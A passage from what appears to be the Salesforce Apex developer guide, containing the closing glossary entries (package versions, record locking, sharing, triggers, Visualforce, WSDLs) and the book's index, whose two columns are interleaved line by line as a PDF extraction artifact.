package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.
Package Installation
Incorporates the contents of a package into your Salesforce.com organization. A package on AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in
the package to make it generally available to the users in your organization.
Parameterized Typing
Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual
data types upon construction.
Partner WSDL
A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that
can work across multiple Salesforce.com organizations. With this WSDL, the developer is responsible for marshaling
data in the correct object representation, which typically involves editing the XML. However, the developer is also freed
from being dependent on any particular data model or Salesforce.com organization. Contrast this with the Enterprise
WSDL, which is strongly typed.
Personal Edition
Product designed for individual sales representatives and single users.
472
Glossary
need for programmers to install, configure, and maintain the applications on their own hardware, software, and related
IT resources. Services can be delivered using the PaaS environment to any market segment.
Platform Edition
A Salesforce.com edition based on either Enterprise Edition or Unlimited Edition that does not include any of the standard
Salesforce.com CRM apps, such as Sales or Service & Support.
Primary Key
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies
the record. This field is called the primary key. The relationship is made between two tables by matching the values of
the foreign key in one table with the values of the primary key in another.
Production Organization
A Salesforce.com organization that has live users accessing data.
Professional Edition
A Salesforce.com edition designed for businesses who need full-featured CRM functionality.
Prototype
The classes, methods and variables that are available to other Apex scripts.
Q
Query Locator
A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that
was returned.
http://na1.salesforce.com/001/e?name=value
R
Record
A single instance of a Salesforce.com object. For example, “John Jones” might be the name of a contact record.
Record ID
See Salesforce.com Record ID.
Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the
records that the user is allowed to see.
Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing settings.
Salesforce.com automatically locks records that are pending approval. Users must have the “Modify All” object-level
permission for the given object, or the “Modify All Data” permission, to edit locked records. The Initial Submission
Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions
by default. You cannot edit this default action for initial submission and recall actions.
473
Glossary
Record Name
A standard field on all Salesforce.com objects. Whenever a record name is displayed in a Force.com application, the value
is represented as a link to a detail view of the record. A record name can be either free-form text or an autonumber field.
Record Name does not have to be a unique value.
Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values
in a specified field in both objects are used to link related data; for example, if one object stores data about companies and
another object stores data about people, a relationship allows you to find out which people work at the company.
Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child
and child-to-parent syntax differs in SOQL queries.
Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit
information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing
model settings.
Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running
user is a specific user, all dashboard viewers see data based on the security settings of that user—regardless of their own
personal security settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each
user sees the dashboard according to his or her own access level.
S
SaaS
See Software as a Service (SaaS).
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in
a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Salesforce.com Record ID
A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.com.
474
Glossary
Sandbox Organization
A nearly identical copy of a Salesforce.com production organization. You can create multiple sandboxes in separate
environments for a variety of purposes, such as testing and training, without compromising the data and applications in
your production environment.
Semi-Join
A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced
queries, such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.
Session ID
An authentication token that is returned when a user successfully logs in to Salesforce.com. The Session ID prevents a
user from having to log in again every time he or she wants to perform another action in Salesforce.com. Different from
a record ID or Salesforce.com ID, which are terms for the unique ID of a Salesforce.com record.
Session Timeout
The period of time after login before a user is automatically logged out. Sessions expire automatically after a predetermined
length of inactivity, which can be configured in Salesforce.com by clicking Your Name ➤ Setup ➤ Security Controls.
The default is 120 minutes (two hours). The inactivity timer is reset to zero if a user takes an action in the Web interface
or makes an API call.
Setter Methods
Methods that assign values. See also Getter Methods.
Setup
An administration area where you can customize and define Force.com applications. Access Setup through the Your
Name ➤ Setup link at the top of Salesforce.com pages.
Sharing
Allowing other users to view or edit information you own. There are different ways to share data:
• Sharing Model—defines the default organization-wide access levels that users have to each other’s information and
whether to use the hierarchies when determining access to data.
• Role Hierarchy—defines different levels of users such that users at higher levels can view and edit information owned
by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
• Sharing Rules—allow an administrator to specify that all information created by users within a given group or role is
automatically shared to the members of another group or role.
• Manual Sharing—allows individual users to share a specific account or opportunity with other users or groups.
• Apex-Managed Sharing—enables developers to programmatically manipulate sharing to support their application’s
behavior. See Apex-Managed Sharing.
Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.
Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information
created by users within a given group or role.
Sites
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
475
Glossary
sObject
Any object that can be stored in the Force.com platform.
Standard Object
A built-in object included with the Force.com platform. You can also build custom objects to store information that is
unique to your app.
System Log
A separate window console that can be used for debugging code snippets. Enter the code you want to test at the bottom
of the window and click Execute. The body of the System Log displays system resource information, such as how long a
line took to execute or how many database calls were made. If the code did not run to completion, the console also displays
debugging information.
T
Tag
In Salesforce.com, a word or short phrases that users can associate with most records to describe and organize their data
in a personalized way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except
relationship group members) Tags can also be accessed through the Web services API.
In Salesforce CRM Content, a descriptive label that helps classify and organize content across workspaces. Users can view
a list of all files or Web links that belong to a particular tag or filter search results based on a tag or tags.
Test Method
An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments,
commit no data to the database, and can be executed by the runTests() system method either through the command
line or in an Apex IDE, such as the Force.com IDE.
Test Organization
A Salesforce.com organization used strictly for testing. See also Sandbox Organization.
476
Glossary
Trigger
A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database.
Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all
triggers run in bulk mode—that is, they process several records at once, rather than just one record at a time.
U
Unit Test
A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make
sure it works correctly. See also Test Method.
Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across
the entire enterprise through the Force.com platform.
Unmanaged Package
A package that cannot be upgraded or controlled by its developer.
V
Validation Rule
A rule that prevents a record from being saved if it does not meet the standards that are specified.
Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls;
Apex classes and triggers; and Visualforce pages and components.
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built
on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list,
or a field. The components can either be controlled by the same logic that is used in standard Salesforce.com pages, or
developers can associate their own logic with a controller written in Apex.
Visualforce Controller
See Controller, Visualforce.
477
Glossary
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user
session.
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but
they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment,
and can be associated with a CSS style.
W
Web Service
A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms,
are written in different languages, or are geographically remote from each other.
WebService Method
An Apex class method or variable that can be used by external systems, like a mash-up with a third-party application.
Web service methods must be defined in a global class.
Wrapper Class
A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A
wrapper class makes an integration more straightforward to develop and maintain, keeps program logic in one place, and
affords easy reuse across components. Examples of wrapper classes in Salesforce.com include theAJAX Toolkit, which is
a JavaScript wrapper around the Salesforce.com Web services API, wrapper classes such as CCritical Section in the
CTI Adapter for Salesforce CRM Call Center, or wrapper classes created as part of a client integration application that
accesses Salesforce.com using the Web services API.
X
XML (Extensible Markup Language)
A markup language that enables the sharing and transportation of structured data. All Force.com components that are
retrieved or deployed through the Metadata API are represented by XML definitions.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
478
Index
Index
A Batch Apex (continued)
interfaces 151
Abstract definition modifier 88 schedule 78
Access modifiers 94 using 151
Action class Batch size, SOQL query for loop 54
instantiation 338 Before triggers 67
methods 338 Best practices
understanding 338 Apex 123
addError(), triggers 78 Apex scheduler 83
After triggers 67 batch Apex 157
Aggregate functions 58 programming 123
AJAX support 84 testing 131
ALL ROWS keyword 62 triggers 123
Anchoring bounds 363 WebService keywords 195
Annotations Binds 60
deprecated 113 Blob data type 27
future 111 Blob methods 232
isTest 112 Boolean data type 27
understanding 111 Boolean methods 233
Anonymous blocks Bounds, using with regular expressions 363
transaction control 63 Bulk processing and triggers
understanding 83 retry logic and inserting records 72
Answers class 402 understanding 71
Ant tool 421 BusinessHours class 400
AnyType data type 27
Apex
designing 123
C
from WSDL 203 Callouts
how it works 9 asynchronous 111
introducing 7 defining from a WSDL 199
invoking 66 execution limits 184
learning 11 HTTP 206
managed sharing 158 invoking 198
overview 8 limit methods 299
testing 125, 126 limits 209
when to use 14 remote site settings 199
API calls, Web services timeouts 209
custom 195 Calls
executeAnonymous 83 compileAndTest 447
retrieveCode 424 compileClasses 451
runTests 131 compileTriggers 452
API calls, Web Services executeanonymous() 453
available for Apex 447 runTests 131
AppExchange runTests() 454
managed package versions 188, 189 Capturing groups 364, 367
Approval processes Case sensitivity 41
approval methods 286 Casting
example 397 collections 115
overview 396 understanding 113
ProcessRequest class 398 Certificates
ProcessResult class 398 generating 207
ProcessSubmitRequest class 399 HTTP requests 209
ProcessWorkitemRequest class 400 SOAP 208
Arrays and lists 34 using 207
Assignment statements 49 Chaining, constructor 107
Async Apex 111 Character escape sequences 27
Asynchronous callouts 111 Chunk size, SOQL query for loop 54
Classes
B action 338
annotations 111
Batch Apex answers 402 479
database object 295 Apex 321
Index
Classes (continued) Collections (continued)
API version 121 size limits 184
BusinessHours 400 Comments 49
casting 113 Community class
collections 115 answers 402
community 402 compileAndTest call 426, 447
constructors 93 See also deploy call 422
cookie 410 compileClasses call 426, 451
Crypto 377 compileTriggers call 426, 452
declaring variables 91 Components
defining 87, 116 behavior versioning 190, 191
defining from a WSDL 199 Compound expressions 43
defining methods 92 Constants
differences with Java 115 about 41
Document 391 defining 106
email 322 Constructors
EncodingUtil 383 chaining 107
example 88 using 93
exception 335 Context variables
from WSDL 203 considerations 70
Http 374 trigger 69
HttpRequest 374 Controllers
HttpResponse 376 maintaining view state 108
ideas 403 transient keyword 108
IdeaStandardController 339 Controllers, Visualforce
IdeaStandardSetController 342 custom 337
inbound email 330 extending 337
interfaces 101 understanding 337
IsValid flag 116 Conventions 16
KnowledgeArticleVersionStandardController 346 Conversions 40
matcher 362 ConvertLead database method 213
message 349 Cookie class 410
messaging 322 Crypto class 377
methods 92 Custom labels 30
naming conventions 117 Custom settings
pageReference 350 examples 281
pattern 362 methods 280
precedence 119
ProcessRequest 398
ProcessResult 398
D
ProcessSubmitRequest 399 Data Categories
ProcessWorkitemRequest 400 methods 264
properties 98 Data types
security 118 converting 40
selectOption 355 primitive 27
shadowing names 118 sObject 30
site 406 understanding 27
standardController 357 Database
standardSetController 359 EmptyRecycleBinResult 298
type resolution 120 error object methods 299
understanding 87 Database methods
using constructors 93 convertLead 213
variables 91 delete 216
Visualforce 108 insert 218
with sharing 109 system static 287
without sharing 109 undelete 221
XmlNode 393 update 223
Client certificates 207 upsert 225
Code Database objects
security 440 methods 295, 296
Collections understanding 295, 296
casting 115 Database.Batchable 151, 165
classes 115 Database.BatchableContext 152
iterating 38 Date
iteration for loops 54 data type 27
lists 33 methods 233
maps 33 Datetime 480
sets 33 data type 27
Index
Datetime (continued) Dynamic Apex
methods 235 foreign keys 147
Deadlocks, avoiding 62 understanding 137
Debug console 174 Dynamic DML 147
Debug log, retaining 172 Dynamic SOQL 146
Debugging Dynamic SOSL 147
API calls 182
classes created from WSDL documents 206
Hello World example 23
E
log 172 Eclipse, deploying Apex 426
Decimal Email
data type 27 attachments 329
methods 239 inbound 330
rounding modes 242 outbound 322, 329
Declaring variables 40 Email service
Defining a class from a WSDL 199 InboundEmail object 332
Delete database method 216 InboundEmail.BinaryAttachment object 334
Delete statement 216 InboundEmail.Header object 334
DeleteResult object 217 InboundEmail.TextAttachment object 334
deploy call 422 InboundEmailResult object 334
Deploying InboundEnvelope object 335
additional methods 426 understanding 331
Force.com IDE 421 EmailException methods 321
understanding 420 EmptyRecycleBinResult
using Force.com Migration Tool 421 methods 298
Deprecated annotation 113 EncodingUtil class 383
Deprecating 189 Encryption 377
Describe field result, methods 274 Enterprise Edition, deploying Apex 420
Describe information Enums
access all fields 141 methods 263
access all sObjects 141 understanding 38
permissions 138 Error object
understanding 138 DML 299
Describe results methods 299
fields 140, 274 Escape sequences, character 27
sObjects 139 Events, triggers 68
Design patterns 123 Exceptions
Developer Edition 10 class 335
Development constructing 336
process 10 DML 231
security 440 methods 320
DML operations throw statements 64
behavior 230 trigger 78
convertLead 213 try-catch-finally statements 64
error object 299 types 64, 319
exception handling 231 uncaught 184
execution limits 184 understanding 64
limit methods 299 variables 337
understanding 212 executeanonymous call 83
unsupported sObjects 229 executeanonymous() call 453
DML statements Execution governors
delete 216 email warnings 187
insert 218 understanding 184
merge 220 Execution order, triggers 75
undelete 221 Expressions
update 223 extending sObject and list 49
upsert 225 operators 43
DMLException methods 321 overview 42
DMLOptions regular 362, 365
methods 296 understanding 42
Do-while loops 52
Document class 391
Documentation typographical conventions 16 F
DOM 391
Double Features, new 15
data type 27 Field-level security and custom API calls 195
methods 244 Fields
481
access all 141
Index
Fields (continued) IdeaStandardSetController class
accessing 31 instantiation 342
accessing through relationships 32 methods 342
describe results 140, 274 understanding 342
see also sObjects 57 Identifiers, reserved 438
that cannot be modified by triggers 78 IDEs 12
tokens 140 If-else statements 51
validating 33 In clause, SOQL query 60
final keyword 41, 106 InboundEmail object 331, 332
For loops InboundEmail.BinaryAttachment object 334
list or set iteration 54 InboundEmail.Header object 334
SOQL locking 62 InboundEmail.TextAttachment object 334
SOQL queries 54 InboundEmailResult object 334
traditional 53 InboundEnvelope object 335
understanding 52 Initialization code
FOR UPDATE keyword 62 instance 95, 97
Force.com static 95, 97
managed sharing 158 using 97
Force.com IDE, deploying Apex 421 Inline SOQL queries
Force.com Migration Tool locking rows for 62
additional deployment methods 426 returning a single record 60
deploying Apex 421 Insert database method 218
Foreign keys and SOQL queries 60 Insert statement 218
Formula fields, dereferencing 57 Instance
Functional tests initialization code 95, 97
for SOSL queries 129 methods 95, 96
running 130 variables 95, 96
understanding 127 instanceof keyword 106
Future annotation 111 Integer
data type 27
methods 245
G Interfaces 101
Get accessors 98 Apex 412
Global access modifier 88, 94 Iterable 104
Governors Iterator 104
email warnings 187 parameterized typing 102
execution 184 Schedulable 78
limit methods 299 Invoking Apex 66
Groups, capturing 364 isAfter trigger variable 69
isBefore trigger variable 69
isDelete trigger variable 69
H isExecuting trigger variable 69
isInsert trigger variable 69
Headers IsTest annotation 112
PackageVersionHeader 461 isUndeleted trigger variable 69
Heap size isUpdate trigger variable 69
execution limits 184 IsValid flag 72, 116
limit methods 299 Iterators
Hello World example custom 104
adding tests 23 Iterable 105
understanding 21 using 104
Hierarchy custom settings
examples 281
How to invoke Apex 66 K
Http class 374
HTTP requests Keywords
using certificates 209 ALL ROWS 62
HttpRequest class 374 final 41, 106
HttpResponse class 376 FOR UPDATE 62
instanceof 106
reserved 438
I super 106
testMethod 127
ID data type 27 this 107
Ideas class 403 transient 108
IdeaStandardController class webService 195
instantiation 339 with sharing 109
methods 339 without sharing 109 482
understanding 339
Index
KnowledgeArticleVersionStandardController class Matcher methods
methods 346 See also Pattern methods 367
understanding 346 Math methods 302
Merge statements
triggers and 74
L understanding 220
L-value expressions 42 Message class
Language instantiation 349
concepts 17 methods 349
constructs 26 severity enum 350
LeadConvertResult object 215 understanding 349
Learning Apex 11 Message severity 350
Limit clause, SOQL query 60 Metadata API call
Limitations, Apex 15 deploy 422
Limits Methods
code execution 184 access modifiers 94
code execution email warnings 187 action 338
determining at runtime 299 ApexPages 286
methods 129, 299 approval 286
List iteration for loops 54 blob 232
List size, SOQL query for loop 54 boolean 233
Lists custom settings 280
about 33 data Categories 264
array notation 34 date 233
defining 33 datetime 235
expressions 49 decimal 239
iterating 38 DescribeSObjectResult object 271
methods 252 DMLOptions 296
sObject 35 double 244
Literal expressions 42 enum 263
Local variables 95 error object 299
Locking statements 62 exception 319
Log, debug 172 field describe results 274
Long IdeaStandardController 339
data type 27 IdeaStandardSetController 342
methods 246 instance 95, 96
Loops integer 245
do-while 52 KnowledgeArticleVersionStandardController 346
execution limits 184 limits 299
see also For loops 52 list 252
understanding 51 long 246
while 52 map 36, 257
matcher 367
math 302
M message 349
namespace prefixes and 119
Managed packages package 306
AppExchange 119 pageReference 351
package versions 189 passing-by-reference 92
version settings 120 pattern 365
versions 188, 189, 190, 191 QueryLocator 295
Managed sharing 158 recursive 92
Manual sharing 158 schema 264
Maps search 307
creating from sObject arrays 37 SelectOption 355
iterating 38 sendEmail 322, 329
methods 257 set 35, 260
understanding 36 setFixedSearchResults 129
Matcher class sObject 268
bounds 363 standard 231
capturing groups 364 StandardController 357
example 364 StandardSetController 360
methods 367 static 95, 96
regions 363 string 246
searching 363 system 307
understanding 362 test 316
using 362 time 251 483
user-defined 92
Index
Methods (continued) Private access modifier 88, 94
userInfo 318 Processing, triggers and bulk 68
using with classes 92 ProcessRequest class 398
void with side effects 92 ProcessResult class 398
XML Reader 384 ProcessSubmitRequest class 399
XmlStreamWriter 389 ProcessWorkitemRequest class 400
Production organizations, deploying Apex 420
Profiles, setting access to classes 118
N Programming patterns
Namespace triggers 123
precedence 119 Properties 98
prefixes 119 Protected access modifier 88, 94
type resolution 120 Public access modifier 88, 94
Nested lists 33
New features in this release 15 Q
new trigger variable 69
newMap trigger variable 69 Queries
Not In clause, SOQL query 60 execution limits 184
SOQL and SOSL 56
SOQL and SOSL expressions 42
O working with results 57
Object Quick start 15
data types 27, 30
lists 35 R
old trigger variable 69
oldMap trigger variable 69 Reason field values 159
Onramping 11 Recalculating sharing 165
Opaque bounds 363 Record ownership 158
Operations Recovered records 75
DML 212 Recursive
DML exceptions 231 methods 92
Operators triggers 67
precedence 48 Regions and regular expressions 363
understanding 43 Regular expressions
Order of trigger execution 75 bounds 363
Overloading custom API calls 197 grouping 367
regions 363
searching 367
P splitting 365
Package methods 306 understanding 362
Packages, namespaces 119 Relationships, accessing fields through 32
PackageVersionHeader headers 461 Release notes 15
PageReference class Remote site settings 199
instantiation 350 Reserved keywords 438
methods 351 retrieveCode call 424
navigation example 354 Role hierarchy 158
query string example 353 rollback method 63
understanding 350 Rounding modes 242
Pages, Visualforce 337 RowCause field values 159
Parameterized typing 102 runAs method
Parent-child relationships package versions 191
SOQL queries 60 using 127, 191
understanding 42 runTests call 131
Pass by reference, sObjects 30 runTests() call 454
Passed by value, primitives 27
Passing-by-reference 92 S
Pattern class
example 364 Salesforce.com API version 121
understanding 362 Sample application
using 362 code 429
Pattern methods 365 data model 427
Permissions and custom API calls 195 overview 427
Person account triggers 77 tutorial 427
Polymorphic, methods 92 Sandbox organizations, deploying Apex 420
Precedence, operator 48 SaveResult object 219, 224
Primitive data types Schedulable interface 79 484
passed by value 27 Schedule Apex 78
Index
Scheduler SOQL queries (continued)
best practices 83 expressions 42
schedulable interface 79 for loops 54, 62
testing 80 foreign key 60
Schema methods 264 inline, locking rows for 62
Scripts large result lists 59
system context 109 limit methods 299
using sharing 109 locking 62
Search methods 307 parent-child relationship 60
Security preventing injection 146
and custom API calls 195 querying all records 62
certificates 207 understanding 56
class 118 working with results 57
code 440 SOSL injection 147
formulas 442 SOSL queries
Visualforce 442 Apex variables in 60
SelectOption dynamic 147
class 355 execution limits 184
example 356 expressions 42
instantiation 355 limit methods 299
methods 355 preventing injection 147
Set accessors 98 testing 129
setFixedSearchResults method 129 understanding 56
Sets working with results 57
iterating 38 Special characters 27
iteration for loops 54 SSL authentication 207
methods 260 Standard methods
understanding 35 understanding 231
setSavepoint method 63 StandardController
Severity, messages 350 example 359
Sharing methods 357
access levels 160 StandardController class
and custom API calls 195 instantiation 357
Apex managed 158 understanding 357
reason field values 159 StandardSetController
recalculating 165 example 361
rules 158 methods 360
understanding 158 StandardSetController class
Sharing reasons instantiation 360
database object 295 prototype object 359
recalculating 165 understanding 359
understanding 161 Start and stop test 129
Site class 406 Statements
size trigger variable 69 assignment 49
SOAP and overloading 197 execution limits 184
sObjects if-else 51
access all 141 locking 62
accessing fields through relationships 32 method invoking 92
data types 30 see also Exceptions 64
dereferencing fields 57 Static
describe result methods 271 initialization code 95, 97
describe results 139 methods 95, 96
expressions 49 variables 95, 96
fields 31 Strings
formula fields 57 data type 27
lists 35 methods 246
methods 268 super keyword 106
pass by reference 30 Syntax
that cannot be used together 230 case sensitivity 41
that do not support DML operations 229 comments 49
tokens 139 variables 40
validating 33 System architecture, Apex 9
SOQL injection 146 System Log console
SOQL queries anonymous blocks 83
aggregate functions 58 using 174
Apex variables in 60 System methods
dynamic 146 namespace prefixes 119 485
execution limits 184 static 307
Index
System namespace prefix 119 Types (continued)
System validation 75 sObject 30
understanding 27
Typographical conventions 16
T
Test methods U
Visualforce 316
Testing Uncaught exception handling 184
best practices 131 Undelete database method 221
example 132 Undelete statement 221
governor limits 129 Undelete triggers 75
runAs 127, 191 UndeleteResult object 222
using start and stop test 129 Unit tests
what to test 126 for SOSL queries 129
testMethod keyword 127 running 130
Tests understanding 127
for SOSL queries 129 Unlimited Edition, deploying Apex 420
isTest annotation 112 Update database method 223
running 130 Update statement 223
understanding 125, 126 Upsert database method 225
this keyword 107 Upsert statement 225
Throw statements 64 UpsertResult object 226
Time User managed sharing 158
data type 27 User-defined methods, Apex 92
methods 251 UserInfo methods 318
Tokens
fields 140
reserved 438
V
sObjects 139 Validating sObject and field names 33
Tools 421 Validation, system 75
Traditional for loops 53 Variables
Transaction control statements access modifiers 94
triggers and 68 declaring 40
understanding 63 in SOQL and SOSL queries 60
transient keyword 108 instance 95, 96
Transparent bounds 363 local 95
Trigger-ignoring operations 77 precedence 119
Triggers static 95, 96
adding tests 23 trigger context 69
API version 121 using with classes 91
bulk exception handling 231 Version settings
bulk processing 68 API version 121
bulk queries 71, 72 package versions 122
common idioms 71 understanding 120
context variable considerations 70 Very large SOQL queries 59
context variables 69 Virtual definition modifier 88
defining 72 Visualforce
design pattern 123 ApexPages methods 286
events 68 message severity 350
exceptions 78 pages 337
execution order 75 security tips 440
fields that cannot be modified 78 when to use 14
ignored operations 77
isValid flag 72
maps and sets, using 71 W
merge events and 74
recovered records 75 Walk-through, sample application 427
syntax 68 Web services API calls
transaction control 63 compileAndTest 421
transaction control statements 68 compileClasses 426
undelete 75 compileTriggers 426
understanding 67 compleAndTest 426
unique fields 72 custom 195
Try-catch-finally statements 64 executeAnonymous 83
Tutorial 15, 427 retrieveCode 424
Type resolution 120 runTests 131
Types transaction control 63 486
Primitive 27 when to use 14
Index
WebService methods WSDLs (continued)
considerations 195 example 203
exposing data 195 generating 195
overloading 197 mapping headers 206
understanding 195 overloading 197
Where clause, SOQL query 60 runtime events 206
While loops 52
with sharing keywords 109
without sharing keywords 109
X
Workflow 75 XML reader methods 384
Writing Apex 10 XML writer methods 389
WSDLs XmlNode class 393
creating an Apex class from 199 XmlStreamReader class, methods 384
debugging 206 XmlStreamWriter class, methods 389
487